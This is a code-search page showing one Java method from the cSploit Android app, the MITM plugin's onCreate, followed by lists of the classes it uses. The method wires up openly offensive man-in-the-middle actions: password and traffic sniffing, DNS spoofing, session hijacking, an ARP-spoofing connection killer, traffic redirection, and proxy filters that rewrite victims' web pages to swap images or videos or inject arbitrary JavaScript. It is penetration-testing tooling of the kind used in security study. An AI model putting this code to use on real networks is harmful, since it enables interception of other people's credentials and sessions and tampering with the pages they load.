Search in sources :

Example 1 with CustomFilterDialog

use of org.csploit.android.gui.dialogs.CustomFilterDialog in project android by cSploit.

the class MITM method onCreate.

@Override
public void onCreate(Bundle savedInstanceState) {
    SharedPreferences themePrefs = getSharedPreferences("THEME", 0);
    Boolean isDark = themePrefs.getBoolean("isDark", false);
    if (isDark)
        setTheme(R.style.DarkTheme);
    else
        setTheme(R.style.AppTheme);
    super.onCreate(savedInstanceState);
    new CheckForOpenPortsTask().execute();
    mActionListView = (ListView) findViewById(R.id.actionListView);
    mActionAdapter = new ActionAdapter(R.layout.plugin_mitm_list_item, mActions);
    mActionListView.setAdapter(mActionAdapter);
    mImagePicker = new Intent(Intent.ACTION_PICK, android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
    mImagePicker.setType("image/*");
    mImagePicker.putExtra(Intent.EXTRA_LOCAL_ONLY, true);
    mScriptPicker = new Intent();
    mScriptPicker.addCategory(Intent.CATEGORY_OPENABLE);
    mScriptPicker.setType("text/*");
    mScriptPicker.setAction(Intent.ACTION_GET_CONTENT);
    mScriptPicker.putExtra(Intent.EXTRA_LOCAL_ONLY, true);
    mActions.add(new Action(getString(R.string.mitm_simple_sniff), getString(R.string.mitm_simple_sniff_desc), R.drawable.action_sniffer, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (System.checkNetworking(MITM.this) == false)
                return;
            setStoppedState();
            startActivity(new Intent(MITM.this, Sniffer.class));
            overridePendingTransition(R.anim.fadeout, R.anim.fadein);
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_password_sniff), getString(R.string.mitm_password_sniff_desc), R.drawable.action_passwords, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (!System.checkNetworking(MITM.this))
                return;
            setStoppedState();
            startActivity(new Intent(MITM.this, PasswordSniffer.class));
            overridePendingTransition(R.anim.fadeout, R.anim.fadein);
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_dns_spoofing), getString(R.string.mitm_dns_spoofing_desc), R.drawable.action_redirect, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (!System.checkNetworking(MITM.this))
                return;
            setStoppedState();
            startActivity(new Intent(MITM.this, DNSSpoofing.class));
            overridePendingTransition(R.anim.fadeout, R.anim.fadein);
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_session_hijack), getString(R.string.mitm_session_hijack_desc), R.drawable.action_hijack, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (!System.checkNetworking(MITM.this))
                return;
            setStoppedState();
            startActivity(new Intent(MITM.this, Hijacker.class));
            overridePendingTransition(R.anim.fadeout, R.anim.fadein);
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_connection_kill), getString(R.string.mitm_connection_kill_desc), R.drawable.action_kill, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (!System.checkNetworking(MITM.this))
                return;
            final ProgressBar activity = (ProgressBar) v.findViewById(R.id.itemActivity);
            if (activity.getVisibility() == View.INVISIBLE) {
                if (System.getCurrentTarget().getType() != Target.Type.ENDPOINT) {
                    new ErrorDialog(getString(R.string.error), getString(R.string.mitm_connection_kill_error), MITM.this).show();
                } else if (!System.getNetwork().haveGateway() && !System.getNetwork().isTetheringEnabled()) {
                    new ErrorDialog(getString(R.string.error), "Connection killer requires a gateway or active Tethering", MITM.this).show();
                } else {
                    setStoppedState();
                    try {
                        if (System.getNetwork().haveGateway()) {
                            mConnectionKillerProcess = System.getTools().arpSpoof.spoof(System.getCurrentTarget(), new ArpSpoof.ArpSpoofReceiver() {

                                @Override
                                public void onStart(String cmd) {
                                    super.onStart(cmd);
                                    System.setForwarding(false);
                                }

                                @Override
                                public void onError(String line) {
                                    MITM.this.runOnUiThread(new Runnable() {

                                        @Override
                                        public void run() {
                                            Toast.makeText(MITM.this, "arpspoof error", Toast.LENGTH_LONG).show();
                                            activity.setVisibility(View.INVISIBLE);
                                        }
                                    });
                                }
                            });
                        } else {
                            mConnectionKillerProcess = null;
                            System.setForwarding(false);
                        }
                        activity.setVisibility(View.VISIBLE);
                        Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                    } catch (ChildManager.ChildNotStartedException e) {
                        Toast.makeText(MITM.this, getString(R.string.child_not_started), Toast.LENGTH_LONG).show();
                    }
                }
            } else {
                if (mConnectionKillerProcess != null) {
                    mConnectionKillerProcess.kill(2);
                    mConnectionKillerProcess = null;
                }
                if (!System.getNetwork().haveGateway() && System.getNetwork().isTetheringEnabled()) {
                    System.setForwarding(true);
                }
                activity.setVisibility(View.INVISIBLE);
            }
        }
    }, new Action.ActionEnabler() {

        @Override
        public boolean isEnabled() {
            return System.getNetwork().haveGateway() || System.getNetwork().isTetheringEnabled();
        }
    }));
    mActions.add(new Action(getString(R.string.mitm_redirect), getString(R.string.mitm_redirect_desc), R.drawable.action_redirect, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (System.checkNetworking(MITM.this) == false)
                return;
            final ProgressBar activity = (ProgressBar) v.findViewById(R.id.itemActivity);
            if (activity.getVisibility() == View.INVISIBLE) {
                setStoppedState();
                new RedirectionDialog(getString(R.string.mitm_redirection), MITM.this, new RedirectionDialogListener() {

                    @Override
                    public void onInputEntered(String address, String port) {
                        if (address.isEmpty() == false && port.isEmpty() == false) {
                            try {
                                int iport = Integer.parseInt(port);
                                if (iport <= 0 || iport > 65535)
                                    throw new Exception(getString(R.string.error_port_outofrange));
                                address = address.startsWith("http") ? address : "http://" + address;
                                URL url = new URL(address);
                                address = url.getHost();
                                activity.setVisibility(View.VISIBLE);
                                Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                                final String faddress = address;
                                final int fport = iport;
                                mSpoofSession = new SpoofSession();
                                mSpoofSession.start(new OnSessionReadyListener() {

                                    @Override
                                    public void onSessionReady() {
                                        System.getProxy().setRedirection(faddress, fport);
                                    }

                                    @Override
                                    public void onError(String error, int resId) {
                                        error = error == null ? getString(resId) : error;
                                        setSpoofErrorState(error);
                                    }
                                });
                            } catch (Exception e) {
                                new ErrorDialog(getString(R.string.error), e.getMessage(), MITM.this).show();
                            }
                        } else
                            new ErrorDialog(getString(R.string.error), getString(R.string.error_invalid_address_or_port), MITM.this).show();
                    }
                }).show();
            } else
                setStoppedState();
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_image_replace), getString(R.string.mitm_image_replace_desc), R.drawable.action_image, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (System.checkNetworking(MITM.this) == false)
                return;
            final ProgressBar activity = (ProgressBar) v.findViewById(R.id.itemActivity);
            if (activity.getVisibility() == View.INVISIBLE) {
                setStoppedState();
                new ChoiceDialog(MITM.this, getString(R.string.choose_source), new String[] { getString(R.string.local_images), "Web URL" }, new ChoiceDialogListener() {

                    @Override
                    public void onChoice(int choice) {
                        if (choice == 0) {
                            try {
                                mCurrentActivity = activity;
                                startActivityForResult(mImagePicker, SELECT_PICTURE);
                            } catch (ActivityNotFoundException e) {
                                new ErrorDialog(getString(R.string.error), getString(R.string.error_image_intent), MITM.this).show();
                            }
                        } else {
                            new InputDialog(getString(R.string.image), getString(R.string.enter_image_url), "", true, false, MITM.this, new InputDialogListener() {

                                @Override
                                public void onInputEntered(String input) {
                                    String image = input.trim();
                                    if (image.isEmpty() == false) {
                                        image = image.startsWith("http") ? image : "http://" + image;
                                        activity.setVisibility(View.VISIBLE);
                                        final String resource = image;
                                        mSpoofSession = new SpoofSession();
                                        try {
                                            mSpoofSession.start(new OnSessionReadyListener() {

                                                @Override
                                                public void onSessionReady() {
                                                    System.getProxy().setFilter(new ProxyFilter() {

                                                        @Override
                                                        public String onDataReceived(String headers, String data) {
                                                            // handle img tags
                                                            data = data.replaceAll("(?i)<img([^/]+)src=(['\"])[^'\"]+(['\"])", "<img$1src=$2" + resource + "$3");
                                                            // handle css background declarations
                                                            data = data.replaceAll("(?i)background\\s*(:|-)\\s*url\\s*[\\(|:][^\\);]+\\)?.*", "background: url(" + resource + ")");
                                                            return data;
                                                        }
                                                    });
                                                }

                                                @Override
                                                public void onError(String error, int resId) {
                                                    error = error == null ? getString(resId) : error;
                                                    setSpoofErrorState(error);
                                                }
                                            });
                                            Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                                        } catch (ChildManager.ChildNotStartedException e) {
                                            Toast.makeText(MITM.this, getString(R.string.child_not_started), Toast.LENGTH_LONG).show();
                                        }
                                    } else
                                        new ErrorDialog(getString(R.string.error), getString(R.string.error_image_url), MITM.this).show();
                                }
                            }).show();
                        }
                    }
                }).show();
            } else {
                mCurrentActivity = null;
                setStoppedState();
            }
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_video_replace), getString(R.string.mitm_video_replace_desc), R.drawable.action_youtube, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (System.checkNetworking(MITM.this) == false)
                return;
            final ProgressBar activity = (ProgressBar) v.findViewById(R.id.itemActivity);
            if (activity.getVisibility() == View.INVISIBLE) {
                setStoppedState();
                new InputDialog(getString(R.string.video), getString(R.string.enter_video_url), "http://www.youtube.com/watch?v=dQw4w9WgXcQ", true, false, MITM.this, new InputDialogListener() {

                    @Override
                    public void onInputEntered(String input) {
                        final String video = input.trim();
                        Matcher matcher = YOUTUBE_PATTERN.matcher(input);
                        if (video.isEmpty() == false && matcher != null && matcher.find()) {
                            final String videoId = matcher.group(1);
                            mSpoofSession = new SpoofSession();
                            try {
                                mSpoofSession.start(new OnSessionReadyListener() {

                                    @Override
                                    public void onSessionReady() {
                                        System.getProxy().setFilter(new ProxyFilter() {

                                            @Override
                                            public String onDataReceived(String headers, String data) {
                                                if (data.matches("(?s).+/v=[a-zA-Z0-9_-]+.+"))
                                                    data = data.replaceAll("(?s)/v=[a-zA-Z0-9_-]+", "/v=" + videoId);
                                                else if (data.matches("(?s).+/v/[a-zA-Z0-9_-]+.+"))
                                                    data = data.replaceAll("(?s)/v/[a-zA-Z0-9_-]+", "/v/" + videoId);
                                                else if (data.matches("(?s).+/embed/[a-zA-Z0-9_-]+.+"))
                                                    data = data.replaceAll("(?s)/embed/[a-zA-Z0-9_-]+", "/embed/" + videoId);
                                                return data;
                                            }
                                        });
                                    }

                                    @Override
                                    public void onError(String error, int resId) {
                                        error = error == null ? getString(resId) : error;
                                        setSpoofErrorState(error);
                                    }
                                });
                                activity.setVisibility(View.VISIBLE);
                                Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                            } catch (ChildManager.ChildNotStartedException e) {
                                System.errorLogging(e);
                                Toast.makeText(MITM.this, getString(R.string.child_not_started), Toast.LENGTH_LONG).show();
                            }
                        } else
                            new ErrorDialog(getString(R.string.error), getString(R.string.error_video_url), MITM.this).show();
                    }
                }).show();
            } else
                setStoppedState();
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_script_injection), getString(R.string.mitm_script_injection_desc), R.drawable.action_injection, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (!System.checkNetworking(MITM.this))
                return;
            final ProgressBar activity = (ProgressBar) v.findViewById(R.id.itemActivity);
            if (activity.getVisibility() == View.INVISIBLE) {
                setStoppedState();
                new ChoiceDialog(MITM.this, getString(R.string.choose_method), new String[] { getString(R.string.local_files), getString(R.string.custom_code) }, new ChoiceDialogListener() {

                    @Override
                    public void onChoice(int choice) {
                        if (choice == 0) {
                            try {
                                mCurrentActivity = activity;
                                startActivityForResult(mScriptPicker, SELECT_SCRIPT);
                            } catch (ActivityNotFoundException e) {
                                new ErrorDialog(getString(R.string.error), getString(R.string.error_file_intent), MITM.this).show();
                            }
                        } else {
                            new InputDialog("Javascript", getString(R.string.enter_js_code), "<script type=\"text/javascript\">\n" + "  alert('This site has been hacked with cSploit!');\n" + "</script>", true, false, MITM.this, new InputDialogListener() {

                                @Override
                                public void onInputEntered(String input) {
                                    final String js = input.trim();
                                    if (js.isEmpty() == false || js.startsWith("<script") == false) {
                                        mSpoofSession = new SpoofSession();
                                        try {
                                            mSpoofSession.start(new OnSessionReadyListener() {

                                                @Override
                                                public void onSessionReady() {
                                                    System.getProxy().setFilter(new ProxyFilter() {

                                                        @Override
                                                        public String onDataReceived(String headers, String data) {
                                                            return data.replaceAll("(?i)</head>", js + "</head>");
                                                        }
                                                    });
                                                }

                                                @Override
                                                public void onError(String error, int resId) {
                                                    error = error == null ? getString(resId) : error;
                                                    setSpoofErrorState(error);
                                                }
                                            });
                                            activity.setVisibility(View.VISIBLE);
                                            Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                                        } catch (ChildManager.ChildNotStartedException e) {
                                            System.errorLogging(e);
                                            Toast.makeText(MITM.this, getString(R.string.child_not_started), Toast.LENGTH_LONG).show();
                                        }
                                    } else
                                        new ErrorDialog(getString(R.string.error), getString(R.string.error_js_code), MITM.this).show();
                                }
                            }).show();
                        }
                    }
                }).show();
            } else {
                mCurrentActivity = null;
                setStoppedState();
            }
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_custom), getString(R.string.mitm_custom_desc), new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (!System.checkNetworking(MITM.this))
                return;
            final ProgressBar activity = (ProgressBar) v.findViewById(R.id.itemActivity);
            if (activity.getVisibility() == View.INVISIBLE) {
                setStoppedState();
                new CustomFilterDialog(getString(R.string.custom_filter), MITM.this, new CustomFilterDialogListener() {

                    @Override
                    public void onInputEntered(final ArrayList<String> from, final ArrayList<String> to) {
                        if (from.isEmpty() == false && to.isEmpty() == false) {
                            try {
                                for (String exp : from) {
                                    Pattern.compile(exp);
                                }
                                mSpoofSession = new SpoofSession();
                                mSpoofSession.start(new OnSessionReadyListener() {

                                    @Override
                                    public void onSessionReady() {
                                        System.getProxy().setFilter(new ProxyFilter() {

                                            @Override
                                            public String onDataReceived(String headers, String data) {
                                                for (int i = 0; i < from.size(); i++) {
                                                    data = data.replaceAll(from.get(i), to.get(i));
                                                }
                                                return data;
                                            }
                                        });
                                    }

                                    @Override
                                    public void onError(String error, int resId) {
                                        error = error == null ? getString(resId) : error;
                                        setSpoofErrorState(error);
                                    }
                                });
                                activity.setVisibility(View.VISIBLE);
                                Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                            } catch (PatternSyntaxException e) {
                                new ErrorDialog(getString(R.string.error), getString(R.string.error_filter) + ": " + e.getDescription() + " .", MITM.this).show();
                            } catch (ChildManager.ChildNotStartedException e) {
                                System.errorLogging(e);
                                Toast.makeText(MITM.this, getString(R.string.child_not_started), Toast.LENGTH_LONG).show();
                            }
                        } else
                            new ErrorDialog(getString(R.string.error), getString(R.string.error_filter), MITM.this).show();
                    }
                }).show();
            } else
                setStoppedState();
        }
    }));
}
Also used : OnSessionReadyListener(org.csploit.android.plugins.mitm.SpoofSession.OnSessionReadyListener) ProxyFilter(org.csploit.android.net.http.proxy.Proxy.ProxyFilter) Matcher(java.util.regex.Matcher) Hijacker(org.csploit.android.plugins.mitm.hijacker.Hijacker) ArrayList(java.util.ArrayList) ChildManager(org.csploit.android.core.ChildManager) URL(java.net.URL) ChoiceDialog(org.csploit.android.gui.dialogs.ChoiceDialog) ProgressBar(android.widget.ProgressBar) ArpSpoof(org.csploit.android.tools.ArpSpoof) RedirectionDialog(org.csploit.android.gui.dialogs.RedirectionDialog) ChoiceDialogListener(org.csploit.android.gui.dialogs.ChoiceDialog.ChoiceDialogListener) PatternSyntaxException(java.util.regex.PatternSyntaxException) InputDialog(org.csploit.android.gui.dialogs.InputDialog) CustomFilterDialog(org.csploit.android.gui.dialogs.CustomFilterDialog) SharedPreferences(android.content.SharedPreferences) ErrorDialog(org.csploit.android.gui.dialogs.ErrorDialog) RedirectionDialogListener(org.csploit.android.gui.dialogs.RedirectionDialog.RedirectionDialogListener) Intent(android.content.Intent) CustomFilterDialogListener(org.csploit.android.gui.dialogs.CustomFilterDialog.CustomFilterDialogListener) ImageView(android.widget.ImageView) View(android.view.View) TextView(android.widget.TextView) ListView(android.widget.ListView) PatternSyntaxException(java.util.regex.PatternSyntaxException) ActivityNotFoundException(android.content.ActivityNotFoundException) InputDialogListener(org.csploit.android.gui.dialogs.InputDialog.InputDialogListener) ActivityNotFoundException(android.content.ActivityNotFoundException) OnClickListener(android.view.View.OnClickListener)

Aggregations

ActivityNotFoundException (android.content.ActivityNotFoundException)1 Intent (android.content.Intent)1 SharedPreferences (android.content.SharedPreferences)1 View (android.view.View)1 OnClickListener (android.view.View.OnClickListener)1 ImageView (android.widget.ImageView)1 ListView (android.widget.ListView)1 ProgressBar (android.widget.ProgressBar)1 TextView (android.widget.TextView)1 URL (java.net.URL)1 ArrayList (java.util.ArrayList)1 Matcher (java.util.regex.Matcher)1 PatternSyntaxException (java.util.regex.PatternSyntaxException)1 ChildManager (org.csploit.android.core.ChildManager)1 ChoiceDialog (org.csploit.android.gui.dialogs.ChoiceDialog)1 ChoiceDialogListener (org.csploit.android.gui.dialogs.ChoiceDialog.ChoiceDialogListener)1 CustomFilterDialog (org.csploit.android.gui.dialogs.CustomFilterDialog)1 CustomFilterDialogListener (org.csploit.android.gui.dialogs.CustomFilterDialog.CustomFilterDialogListener)1 ErrorDialog (org.csploit.android.gui.dialogs.ErrorDialog)1 InputDialog (org.csploit.android.gui.dialogs.InputDialog)1